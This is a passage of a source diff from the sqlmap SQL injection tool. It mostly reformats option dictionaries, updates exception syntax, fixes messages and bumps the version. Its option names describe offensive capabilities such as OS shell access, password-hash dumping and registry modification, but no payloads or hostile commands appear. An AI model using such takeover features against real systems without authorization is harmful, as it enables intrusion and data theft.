+            dumpFileName = os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())))
             if not checkFile(dumpFileName, False):
                 try:
                     openFile(dumpFileName, "w+b").close()
@@ -450,9 +451,9 @@ class Dump(object):
                 except:
                     warnFile = True
 
-                    _ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
+                    _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
                     if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES:
-                        _ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(table)))
+                        _ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)))
                         dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower()))
                     else:
                         dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower()))
@@ -611,9 +612,9 @@ class Dump(object):
                             mimetype = magic.from_buffer(value, mime=True)
                             if any(mimetype.startswith(_) for _ in ("application", "image")):
                                 if not os.path.isdir(dumpDbPath):
-                                    os.makedirs(dumpDbPath, 0755)
+                                    os.makedirs(dumpDbPath)
 
-                                _ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
+                                _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
                                 filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8)))
                                 warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
                                 logger.warn(warnMsg)

lib/core/enums.py

@@ -22,6 +22,15 @@ class SORT_ORDER:
     FIFTH = 4
     LAST = 100
 
+# Reference: https://docs.python.org/2/library/logging.html#logging-levels
+class LOGGING_LEVELS:
+    NOTSET = 0
+    DEBUG = 10
+    INFO = 20
+    WARNING = 30
+    ERROR = 40
+    CRITICAL = 50
+
 class DBMS:
     ACCESS = "Microsoft Access"
     DB2 = "IBM DB2"
@@ -233,40 +242,40 @@ class REDIRECTION:
 
 class PAYLOAD:
     SQLINJECTION = {
-                        1: "boolean-based blind",
+        1: "boolean-based blind",
-                        2: "error-based",
+        2: "error-based",
-                        3: "inline query",
+        3: "inline query",
-                        4: "stacked queries",
+        4: "stacked queries",
-                        5: "AND/OR time-based blind",
+        5: "AND/OR time-based blind",
-                        6: "UNION query",
+        6: "UNION query",
-                   }
+    }
 
     PARAMETER = {
-                    1: "Unescaped numeric",
+        1: "Unescaped numeric",
-                    2: "Single quoted string",
+        2: "Single quoted string",
-                    3: "LIKE single quoted string",
+        3: "LIKE single quoted string",
-                    4: "Double quoted string",
+        4: "Double quoted string",
-                    5: "LIKE double quoted string",
+        5: "LIKE double quoted string",
-                }
+    }
 
     RISK = {
-                0: "No risk",
+        0: "No risk",
-                1: "Low risk",
+        1: "Low risk",
-                2: "Medium risk",
+        2: "Medium risk",
-                3: "High risk",
+        3: "High risk",
-           }
+    }
 
     CLAUSE = {
-                0: "Always",
+        0: "Always",
-                1: "WHERE",
+        1: "WHERE",
-                2: "GROUP BY",
+        2: "GROUP BY",
-                3: "ORDER BY",
+        3: "ORDER BY",
-                4: "LIMIT",
+        4: "LIMIT",
-                5: "OFFSET",
+        5: "OFFSET",
-                6: "TOP",
+        6: "TOP",
-                7: "Table name",
+        7: "Table name",
-                8: "Column name",
+        8: "Column name",
-             }
+    }
 
     class METHOD:
         COMPARISON = "comparison"

lib/core/option.py

@@ -337,7 +337,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
 
                 if not host:
                     errMsg = "invalid format of a request file"
-                    raise SqlmapSyntaxException, errMsg
+                    raise SqlmapSyntaxException(errMsg)
 
                 if not url.startswith("http"):
                     url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
@@ -402,7 +402,7 @@ def _loadQueries():
         errMsg = "something appears to be wrong with "
         errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex))
         errMsg += "sure that you haven't made any changes to it"
-        raise SqlmapInstallationException, errMsg
+        raise SqlmapInstallationException(errMsg)
 
     for node in tree.findall("*"):
         queries[node.attrib['value']] = iterate(node)
@@ -687,7 +687,7 @@ def _setMetasploit():
 
     if IS_WIN:
         try:
-            import win32file
+            __import__("win32file")
         except ImportError:
             errMsg = "sqlmap requires third-party module 'pywin32' "
             errMsg += "in order to use Metasploit functionalities on "
@@ -700,7 +700,7 @@ def _setMetasploit():
                 retVal = None
 
                 try:
-                    from  _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE
+                    from _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE
                     _ = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
                     _ = OpenKey(_, key)
                     retVal = QueryValueEx(_, value)[0]
@@ -918,7 +918,7 @@ def _setTamperingFunctions():
             dirname, filename = os.path.split(script)
             dirname = os.path.abspath(dirname)
 
-            infoMsg = "loading tamper script '%s'" % filename[:-3]
+            infoMsg = "loading tamper module '%s'" % filename[:-3]
             logger.info(infoMsg)
 
             if not os.path.exists(os.path.join(dirname, "__init__.py")):
@@ -931,8 +931,8 @@ def _setTamperingFunctions():
 
             try:
                 module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
-            except (ImportError, SyntaxError), ex:
+            except Exception, ex:
-                raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
+                raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
 
             priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__
 
@@ -962,7 +962,12 @@ def _setTamperingFunctions():
 
                     break
                 elif name == "dependencies":
-                    function()
+                    try:
+                        function()
+                    except Exception, ex:
+                        errMsg = "error occurred while checking dependencies "
+                        errMsg += "for tamper module '%s' ('%s')" % (filename[:-3], getSafeExString(ex))
+                        raise SqlmapGenericException(errMsg)
 
             if not found:
                 errMsg = "missing function 'tamper(payload, **kwargs)' "
@@ -1046,7 +1051,7 @@ def _setSocketPreConnect():
     if conf.disablePrecon:
         return
 
-    def _():
+    def _thread():
         while kb.get("threadContinue") and not conf.get("disablePrecon"):
             try:
                 for key in socket._ready:
@@ -1078,6 +1083,7 @@ def _setSocketPreConnect():
                     break
                 else:
                     try:
+                        candidate.shutdown(socket.SHUT_RDWR)
                         candidate.close()
                     except socket.error:
                         pass
@@ -1090,7 +1096,7 @@ def _setSocketPreConnect():
         socket.socket._connect = socket.socket.connect
         socket.socket.connect = connect
 
-        thread = threading.Thread(target=_)
+        thread = threading.Thread(target=_thread)
         setDaemon(thread)
         thread.start()
 
@@ -1127,7 +1133,7 @@ def _setHTTPHandlers():
             _ = urlparse.urlsplit(conf.proxy)
         except Exception, ex:
             errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex))
-            raise SqlmapSyntaxException, errMsg
+            raise SqlmapSyntaxException(errMsg)
 
         hostnamePort = _.netloc.split(":")
 
@@ -1254,7 +1260,7 @@ def _setSafeVisit():
                 kb.safeReq.post = None
         else:
             errMsg = "invalid format of a safe request file"
-            raise SqlmapSyntaxException, errMsg
+            raise SqlmapSyntaxException(errMsg)
     else:
         if not re.search(r"\Ahttp[s]*://", conf.safeUrl):
             if ":443/" in conf.safeUrl:
@@ -1579,7 +1585,7 @@ def _createTemporaryDirectory():
         except (OSError, IOError), ex:
             errMsg = "there has been a problem while accessing "
             errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex)
-            raise SqlmapSystemException, errMsg
+            raise SqlmapSystemException(errMsg)
     else:
         try:
             if not os.path.isdir(tempfile.gettempdir()):
@@ -1606,7 +1612,7 @@ def _createTemporaryDirectory():
         except (OSError, IOError, WindowsError), ex:
             errMsg = "there has been a problem while setting "
             errMsg += "temporary directory location ('%s')" % getSafeExString(ex)
-            raise SqlmapSystemException, errMsg
+            raise SqlmapSystemException(errMsg)
 
 def _cleanupOptions():
     """
@@ -1647,7 +1653,10 @@ def _cleanupOptions():
         conf.rParam = []
 
     if conf.paramDel and '\\' in conf.paramDel:
-        conf.paramDel = conf.paramDel.decode("string_escape")
+        try:
+            conf.paramDel = conf.paramDel.decode("string_escape")
+        except ValueError:
+            pass
 
     if conf.skip:
         conf.skip = conf.skip.replace(" ", "")
@@ -1784,8 +1793,8 @@ def _cleanupOptions():
     if conf.col:
         conf.col = re.sub(r"\s*,\s*", ',', conf.col)
 
-    if conf.excludeCol:
+    if conf.exclude:
-        conf.excludeCol = re.sub(r"\s*,\s*", ',', conf.excludeCol)
+        conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
 
     if conf.binaryFields:
         conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields)
@@ -1941,6 +1950,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.forcePartialUnion = False
     kb.forceWhere = None
     kb.futileUnion = None
+    kb.heavilyDynamic = False
     kb.headersFp = {}
     kb.heuristicDbms = None
     kb.heuristicExtendedDbms = None
@@ -2034,6 +2044,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.uChar = NULL
     kb.unionDuplicates = False
     kb.wafSpecificResponse = None
+    kb.wizardMode = False
     kb.xpCmdshellAvailable = False
 
     if flushAll:
@@ -2115,6 +2126,8 @@ def _useWizardInterface():
 
     dataToStdout("\nsqlmap is running, please wait..\n\n")
 
+    kb.wizardMode = True
+
 def _saveConfig():
     """
     Saves the command line options to a sqlmap configuration INI file
@@ -2309,7 +2322,6 @@ def _setTorHttpProxySettings():
         errMsg = "can't establish connection with the Tor HTTP proxy. "
         errMsg += "Please make sure that you have Tor (bundle) installed and setup "
         errMsg += "so you could be able to successfully use switch '--tor' "
-
         raise SqlmapConnectionException(errMsg)
 
     if not conf.checkTor:
@@ -2330,7 +2342,6 @@ def _setTorSocksProxySettings():
         errMsg = "can't establish connection with the Tor SOCKS proxy. "
         errMsg += "Please make sure that you have Tor service installed and setup "
         errMsg += "so you could be able to successfully use switch '--tor' "
-
         raise SqlmapConnectionException(errMsg)
 
     # SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29)
@@ -2343,7 +2354,7 @@ def _checkWebSocket():
             from websocket import ABNF
         except ImportError:
             errMsg = "sqlmap requires third-party module 'websocket-client' "
-            errMsg += "in order to use WebSocket funcionality"
+            errMsg += "in order to use WebSocket functionality"
             raise SqlmapMissingDependence(errMsg)
 
 def _checkTor():
@@ -2535,11 +2546,11 @@ def _basicOptionValidation():
         raise SqlmapSyntaxException(errMsg)
 
     if conf.checkTor and not any((conf.tor, conf.proxy)):
-        errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address using Tor)"
+        errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address of Tor service)"
         raise SqlmapSyntaxException(errMsg)
 
     if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535):
-        errMsg = "value for option '--tor-port' must be in range 0-65535"
+        errMsg = "value for option '--tor-port' must be in range [0, 65535]"
         raise SqlmapSyntaxException(errMsg)
 
     if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True):
@@ -2584,9 +2595,9 @@ def _basicOptionValidation():
     if conf.encoding:
         _ = checkCharEncoding(conf.encoding, False)
         if _ is None:
-            errMsg = "unknown charset '%s'. Please visit " % conf.encoding
+            errMsg = "unknown encoding '%s'. Please visit " % conf.encoding
             errMsg += "'%s' to get the full list of " % CODECS_LIST_PAGE
-            errMsg += "supported charsets"
+            errMsg += "supported encodings"
             raise SqlmapSyntaxException(errMsg)
         else:
             conf.encoding = _

lib/core/optiondict.py

@@ -6,250 +6,252 @@ See the file 'LICENSE' for copying permission
 """
 
 optDict = {
-            # Format:
+    # Family: {"parameter name": "parameter datatype"},
-            # Family:        { "parameter name":    "parameter datatype" },
+    # --OR--
-            # Or:
+    # Family: {"parameter name": ("parameter datatype", "category name used for common outputs feature")},
-            # Family:        { "parameter name":    ("parameter datatype", "category name used for common outputs feature") },
-            "Target":        {
-                               "direct":            "string",
-                               "url":               "string",
-                               "logFile":           "string",
-                               "bulkFile":          "string",
-                               "requestFile":       "string",
-                               "sessionFile":       "string",
-                               "googleDork":        "string",
-                               "configFile":        "string",
-                               "sitemapUrl":        "string",
-                             },
 
-            "Request":       {
+    "Target": {
-                               "method":            "string",
+        "direct": "string",
-                               "data":              "string",
+        "url": "string",
-                               "paramDel":          "string",
+        "logFile": "string",
-                               "cookie":            "string",
+        "bulkFile": "string",
-                               "cookieDel":         "string",
+        "requestFile": "string",
-                               "loadCookies":       "string",
+        "sessionFile": "string",
-                               "dropSetCookie":     "boolean",
+        "googleDork": "string",
-                               "agent":             "string",
+        "configFile": "string",
-                               "randomAgent":       "boolean",
+        "sitemapUrl": "string",
-                               "host":              "string",
+    },
-                               "referer":           "string",
-                               "headers":           "string",
-                               "authType":          "string",
-                               "authCred":          "string",
-                               "authFile":          "string",
-                               "ignoreCode":        "integer",
-                               "ignoreProxy":       "boolean",
-                               "ignoreRedirects":   "boolean",
-                               "ignoreTimeouts":    "boolean",
-                               "proxy":             "string",
-                               "proxyCred":         "string",
-                               "proxyFile":         "string",
-                               "tor":               "boolean",
-                               "torPort":           "integer",
-                               "torType":           "string",
-                               "checkTor":          "boolean",
-                               "delay":             "float",
-                               "timeout":           "float",
-                               "retries":           "integer",
-                               "rParam":            "string",
-                               "safeUrl":           "string",
-                               "safePost":          "string",
-                               "safeReqFile":       "string",
-                               "safeFreq":          "integer",
-                               "skipUrlEncode":     "boolean",
-                               "csrfToken":         "string",
-                               "csrfUrl":           "string",
-                               "forceSSL":          "boolean",
-                               "hpp":               "boolean",
-                               "evalCode":          "string",
-                             },
 
-            "Optimization":  {
+    "Request": {
-                               "optimize":          "boolean",
+        "method": "string",
-                               "predictOutput":     "boolean",
+        "data": "string",
-                               "keepAlive":         "boolean",
+        "paramDel": "string",
-                               "nullConnection":    "boolean",
+        "cookie": "string",
-                               "threads":           "integer",
+        "cookieDel": "string",
-                             },
+        "loadCookies": "string",
+        "dropSetCookie": "boolean",
+        "agent": "string",
+        "randomAgent": "boolean",
+        "host": "string",
+        "referer": "string",
+        "headers": "string",
+        "authType": "string",
+        "authCred": "string",
+        "authFile": "string",
+        "ignoreCode": "integer",
+        "ignoreProxy": "boolean",
+        "ignoreRedirects": "boolean",
+        "ignoreTimeouts": "boolean",
+        "proxy": "string",
+        "proxyCred": "string",
+        "proxyFile": "string",
+        "tor": "boolean",
+        "torPort": "integer",
+        "torType": "string",
+        "checkTor": "boolean",
+        "delay": "float",
+        "timeout": "float",
+        "retries": "integer",
+        "rParam": "string",
+        "safeUrl": "string",
+        "safePost": "string",
+        "safeReqFile": "string",
+        "safeFreq": "integer",
+        "skipUrlEncode": "boolean",
+        "csrfToken": "string",
+        "csrfUrl": "string",
+        "forceSSL": "boolean",
+        "hpp": "boolean",
+        "evalCode": "string",
+    },
 
-            "Injection":     {
+    "Optimization": {
-                               "testParameter":     "string",
+        "optimize": "boolean",
-                               "skip":              "string",
+        "predictOutput": "boolean",
-                               "skipStatic":        "boolean",
+        "keepAlive": "boolean",
-                               "paramExclude":      "string",
+        "nullConnection": "boolean",
-                               "dbms":              "string",
+        "threads": "integer",
-                               "dbmsCred":          "string",
+    },
-                               "os":                "string",
-                               "invalidBignum":     "boolean",
-                               "invalidLogical":    "boolean",
-                               "invalidString":     "boolean",
-                               "noCast":            "boolean",
-                               "noEscape":          "boolean",
-                               "prefix":            "string",
-                               "suffix":            "string",
-                               "tamper":            "string",
-                             },
 
-            "Detection":     {
+    "Injection": {
-                               "level":             "integer",
+        "testParameter": "string",
-                               "risk":              "integer",
+        "skip": "string",
-                               "string":            "string",
+        "skipStatic": "boolean",
-                               "notString":         "string",
+        "paramExclude": "string",
-                               "regexp":            "string",
+        "dbms": "string",
-                               "code":              "integer",
+        "dbmsCred": "string",
-                               "textOnly":          "boolean",
+        "os": "string",
-                               "titles":            "boolean",
+        "invalidBignum": "boolean",
-                             },
+        "invalidLogical": "boolean",
+        "invalidString": "boolean",
+        "noCast": "boolean",
+        "noEscape": "boolean",
+        "prefix": "string",
+        "suffix": "string",
+        "tamper": "string",
+    },
 
-            "Techniques":    {
+    "Detection": {
-                               "tech":              "string",
+        "level": "integer",
-                               "timeSec":           "integer",
+        "risk": "integer",
-                               "uCols":             "string",
+        "string": "string",
-                               "uChar":             "string",
+        "notString": "string",
-                               "uFrom":             "string",
+        "regexp": "string",
-                               "dnsDomain":         "string",
+        "code": "integer",
-                               "secondOrder":       "string",
+        "textOnly": "boolean",
-                             },
+        "titles": "boolean",
+    },
 
-            "Fingerprint":   {
+    "Techniques": {
-                               "extensiveFp":       "boolean",
+        "tech": "string",
-                             },
+        "timeSec": "integer",
+        "uCols": "string",
+        "uChar": "string",
+        "uFrom": "string",
+        "dnsDomain": "string",
+        "secondOrder": "string",
+    },
 
-            "Enumeration":   {
+    "Fingerprint": {
-                               "getAll":            "boolean",
+        "extensiveFp": "boolean",
-                               "getBanner":         ("boolean", "Banners"),
+    },
-                               "getCurrentUser":    ("boolean", "Users"),
-                               "getCurrentDb":      ("boolean", "Databases"),
-                               "getHostname":       "boolean",
-                               "isDba":             "boolean",
-                               "getUsers":          ("boolean", "Users"),
-                               "getPasswordHashes": ("boolean", "Passwords"),
-                               "getPrivileges":     ("boolean", "Privileges"),
-                               "getRoles":          ("boolean", "Roles"),
-                               "getDbs":            ("boolean", "Databases"),
-                               "getTables":         ("boolean", "Tables"),
-                               "getColumns":        ("boolean", "Columns"),
-                               "getSchema":         "boolean",
-                               "getCount":          "boolean",
-                               "dumpTable":         "boolean",
-                               "dumpAll":           "boolean",
-                               "search":            "boolean",
-                               "getComments":       "boolean",
-                               "db":                "string",
-                               "tbl":               "string",
-                               "col":               "string",
-                               "excludeCol":        "string",
-                               "pivotColumn":       "string",
-                               "dumpWhere":         "string",
-                               "user":              "string",
-                               "excludeSysDbs":     "boolean",
-                               "limitStart":        "integer",
-                               "limitStop":         "integer",
-                               "firstChar":         "integer",
-                               "lastChar":          "integer",
-                               "query":             "string",
-                               "sqlShell":          "boolean",
-                               "sqlFile":           "string",
-                             },
 
-            "Brute":         {
+    "Enumeration": {
-                               "commonTables":       "boolean",
+        "getAll": "boolean",
-                               "commonColumns":      "boolean",
+        "getBanner": ("boolean", "Banners"),
-                             },
+        "getCurrentUser": ("boolean", "Users"),
+        "getCurrentDb": ("boolean", "Databases"),
+        "getHostname": "boolean",
+        "isDba": "boolean",
+        "getUsers": ("boolean", "Users"),
+        "getPasswordHashes": ("boolean", "Passwords"),
+        "getPrivileges": ("boolean", "Privileges"),
+        "getRoles": ("boolean", "Roles"),
+        "getDbs": ("boolean", "Databases"),
+        "getTables": ("boolean", "Tables"),
+        "getColumns": ("boolean", "Columns"),
+        "getSchema": "boolean",
+        "getCount": "boolean",
+        "dumpTable": "boolean",
+        "dumpAll": "boolean",
+        "search": "boolean",
+        "getComments": "boolean",
+        "db": "string",
+        "tbl": "string",
+        "col": "string",
+        "exclude": "string",
+        "pivotColumn": "string",
+        "dumpWhere": "string",
+        "user": "string",
+        "excludeSysDbs": "boolean",
+        "limitStart": "integer",
+        "limitStop": "integer",
+        "firstChar": "integer",
+        "lastChar": "integer",
+        "query": "string",
+        "sqlShell": "boolean",
+        "sqlFile": "string",
+    },
 
-            "User-defined function": {
+    "Brute": {
-                               "udfInject":         "boolean",
+        "commonTables": "boolean",
-                               "shLib":             "string",
+        "commonColumns": "boolean",
-                             },
+    },
 
-            "File system":   {
+    "User-defined function": {
-                               "rFile":             "string",
+        "udfInject": "boolean",
-                               "wFile":             "string",
+        "shLib": "string",
-                               "dFile":             "string",
+    },
-                             },
 
-            "Takeover":      {
+    "File system": {
-                               "osCmd":             "string",
+        "rFile": "string",
-                               "osShell":           "boolean",
+        "wFile": "string",
-                               "osPwn":             "boolean",
+        "dFile": "string",
-                               "osSmb":             "boolean",
+    },
-                               "osBof":             "boolean",
-                               "privEsc":           "boolean",
-                               "msfPath":           "string",
-                               "tmpPath":           "string",
-                             },
 
-            "Windows":       {
+    "Takeover": {
-                               "regRead":           "boolean",
+        "osCmd": "string",
-                               "regAdd":            "boolean",
+        "osShell": "boolean",
-                               "regDel":            "boolean",
+        "osPwn": "boolean",
-                               "regKey":            "string",
+        "osSmb": "boolean",
-                               "regVal":            "string",
+        "osBof": "boolean",
-                               "regData":           "string",
+        "privEsc": "boolean",
-                               "regType":           "string",
+        "msfPath": "string",
-                             },
+        "tmpPath": "string",
+    },
 
-            "General":       {
+    "Windows": {
-                               #"xmlFile":           "string",
+        "regRead": "boolean",
-                               "trafficFile":       "string",
+        "regAdd": "boolean",
-                               "batch":             "boolean",
+        "regDel": "boolean",
-                               "binaryFields":      "string",
+        "regKey": "string",
-                               "charset":           "string",
+        "regVal": "string",
-                               "checkInternet":     "boolean",
+        "regData": "string",
-                               "crawlDepth":        "integer",
+        "regType": "string",
-                               "crawlExclude":      "string",
+    },
-                               "csvDel":            "string",
-                               "dumpFormat":        "string",
-                               "encoding":          "string",
-                               "eta":               "boolean",
-                               "flushSession":      "boolean",
-                               "forms":             "boolean",
-                               "freshQueries":      "boolean",
-                               "harFile":           "string",
-                               "hexConvert":        "boolean",
-                               "outputDir":         "string",
-                               "parseErrors":       "boolean",
-                               "saveConfig":        "string",
-                               "scope":             "string",
-                               "testFilter":        "string",
-                               "testSkip":          "string",
-                               "updateAll":         "boolean",
-                             },
 
-            "Miscellaneous": {
+    "General": {
-                               "alert":             "string",
+        # "xmlFile": "string",
-                               "answers":           "string",
+        "trafficFile": "string",
-                               "beep":              "boolean",
+        "batch": "boolean",
-                               "cleanup":           "boolean",
+        "binaryFields": "string",
-                               "dependencies":      "boolean",
+        "charset": "string",
-                               "disableColoring":   "boolean",
+        "checkInternet": "boolean",
-                               "googlePage":        "integer",
+        "crawlDepth": "integer",
-                               "identifyWaf":       "boolean",
+        "crawlExclude": "string",
-                               "mobile":            "boolean",
+        "csvDel": "string",
-                               "offline":           "boolean",
+        "dumpFormat": "string",
-                               "purgeOutput":       "boolean",
+        "encoding": "string",
-                               "skipWaf":           "boolean",
+        "eta": "boolean",
-                               "smart":             "boolean",
+        "flushSession": "boolean",
-                               "tmpDir":            "string",
+        "forms": "boolean",
-                               "webRoot":           "string",
+        "freshQueries": "boolean",
-                               "wizard":            "boolean",
+        "harFile": "string",
-                               "verbose":           "integer",
+        "hexConvert": "boolean",
-                             },
+        "outputDir": "string",
-            "Hidden": {
+        "parseErrors": "boolean",
-                               "dummy":             "boolean",
+        "saveConfig": "string",
-                               "disablePrecon":     "boolean",
+        "scope": "string",
-                               "profile":           "boolean",
+        "testFilter": "string",
-                               "forceDns":          "boolean",
+        "testSkip": "string",
-                               "murphyRate":        "integer",
+        "updateAll": "boolean",
-                               "smokeTest":         "boolean",
+    },
-                               "liveTest":          "boolean",
+
-                               "stopFail":          "boolean",
+    "Miscellaneous": {
-                               "runCase":           "string",
+        "alert": "string",
-                      },
+        "answers": "string",
-            "API": {
+        "beep": "boolean",
-                               "api":               "boolean",
+        "cleanup": "boolean",
-                               "taskid":            "string",
+        "dependencies": "boolean",
-                               "database":          "string",
+        "disableColoring": "boolean",
-                      }
+        "googlePage": "integer",
-          }
+        "identifyWaf": "boolean",
+        "mobile": "boolean",
+        "offline": "boolean",
+        "purgeOutput": "boolean",
+        "skipWaf": "boolean",
+        "smart": "boolean",
+        "tmpDir": "string",
+        "webRoot": "string",
+        "wizard": "boolean",
+        "verbose": "integer",
+    },
+
+    "Hidden": {
+        "dummy": "boolean",
+        "disablePrecon": "boolean",
+        "profile": "boolean",
+        "forceDns": "boolean",
+        "murphyRate": "integer",
+        "smokeTest": "boolean",
+        "liveTest": "boolean",
+        "stopFail": "boolean",
+        "runCase": "string",
+    },
+
+    "API": {
+        "api": "boolean",
+        "taskid": "string",
+        "database": "string",
+    }
+}

lib/core/profiling.py

@@ -20,9 +20,9 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
     """
 
     try:
+        __import__("gobject")
         from thirdparty.gprof2dot import gprof2dot
         from thirdparty.xdot import xdot
-        import gobject
         import gtk
         import pydot
     except ImportError, e:

lib/core/readlineng.py

@@ -14,11 +14,11 @@ _readline = None
 try:
     from readline import *
     import readline as _readline
-except ImportError:
+except:
     try:
         from pyreadline import *
         import pyreadline as _readline
-    except ImportError:
+    except:
         pass
 
 if IS_WIN and _readline:

lib/core/settings.py

@@ -19,7 +19,7 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
 from lib.core.enums import OS
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.2"
+VERSION = "1.2.6.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -27,8 +27,9 @@ DESCRIPTION = "automatic SQL injection and database takeover tool"
 SITE = "http://sqlmap.org"
 DEV_EMAIL_ADDRESS = "[email protected]"
 ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
-GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git"
+GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
 GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
+ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master"
 
 # colorful banner
 BANNER = """\033[01;33m\
@@ -82,7 +83,7 @@ SELECT_FROM_TABLE_REGEX = r"\bSELECT\b.+?\bFROM\s+(?P<result>([\w.]|`[^`<>]+`)+)
 TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)"
 
 # Regular expression used for recognition of generic permission messages
-PERMISSION_DENIED_REGEX = r"(command|permission|access)\s*(was|is)?\s*denied"
+PERMISSION_DENIED_REGEX = r"(?P<result>(command|permission|access)\s*(was|is)?\s*denied)"
 
 # Regular expression used in recognition of generic protection mechanisms
 GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"
@@ -224,7 +225,7 @@ PYVERSION = sys.version.split()[0]
 MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb")
 MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema")
 PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
-ORACLE_SYSTEM_DBS = ("ANONYMOUS", "APEX_PUBLIC_USER", "CTXSYS", "DBSNMP", "DIP", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "WKPROXY", "WKSYS", "WK_TEST", "WMSYS", "XDB", "XS$NULL")  # Reference: https://blog.vishalgupta.com/2011/06/19/predefined-oracle-system-schemas/ 
+ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL')
 SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
 ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2")
